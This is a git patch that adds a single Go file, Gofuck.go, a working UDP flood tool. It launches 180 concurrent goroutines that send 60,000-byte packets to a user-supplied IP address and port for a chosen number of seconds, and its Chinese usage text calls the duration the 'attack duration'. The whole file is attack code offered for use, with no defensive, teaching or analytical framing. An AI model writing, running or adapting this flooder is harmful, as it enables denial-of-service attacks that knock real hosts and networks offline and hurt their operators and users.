From b274dc5430857002f5e8f3df854d34e274d8d91e Mon Sep 17 00:00:00 2001
From: RandyColin <44502154+randycolin@users.noreply.github.com>
Date: Mon, 15 Jan 2024 21:19:57 +0800
Subject: [PATCH] Create Gofuck.go
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主程序
---
 Gofuck.go | 54 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)
 create mode 100644 Gofuck.go

diff --git a/Gofuck.go b/Gofuck.go
new file mode 100644
index 0000000..c542934
--- /dev/null
+++ b/Gofuck.go
@@ -0,0 +1,54 @@
+package main
+
+import (
+	"fmt"
+	"net"
+	"os"
+	"strconv"
+	"time"
+)
+
+const THREADS = 180
+func attack(ip string, port int, duration int) {
+	bytes := make([]byte, 60000)
+	startTime := time.Now()
+	endTime := startTime.Add(time.Duration(duration) * time.Second)
+	for time.Now().Before(endTime) {
+		conn, _ := net.Dial("udp", fmt.Sprintf("%s:%d", ip, port))
+		conn.Write(bytes)
+		conn.Close()
+		time.Sleep(1 * time.Millisecond)
+	}
+}
+
+func countdown(remainingTime int) {	
+	ticker := time.NewTicker(1 * time.Second)
+	defer ticker.Stop()
+	for i := remainingTime; i > 0; i-- {
+		fmt.Printf("\r剩余结束时间: %d秒", i)
+		<-ticker.C
+	}
+	fmt.Print("\r线程结束   \n")
+}
+
+func main() {
+	var ip string
+	var port int
+	var attackDuration int
+
+	if len(os.Args) < 4 {
+		fmt.Println("请准确输入参数:例 ./Gofuck <IP地址> <端口> <攻击持续时间>")
+		os.Exit(1)
+	}
+
+	ip = os.Args[1]
+	port, _ = strconv.Atoi(os.Args[2])
+	attackDuration, _ = strconv.Atoi(os.Args[3])
+
+	go countdown(attackDuration)
+
+	for i := 0; i < THREADS; i++ {
+		go attack(ip, port, attackDuration)
+	}
+	time.Sleep(time.Second * time.Duration(attackDuration))
+}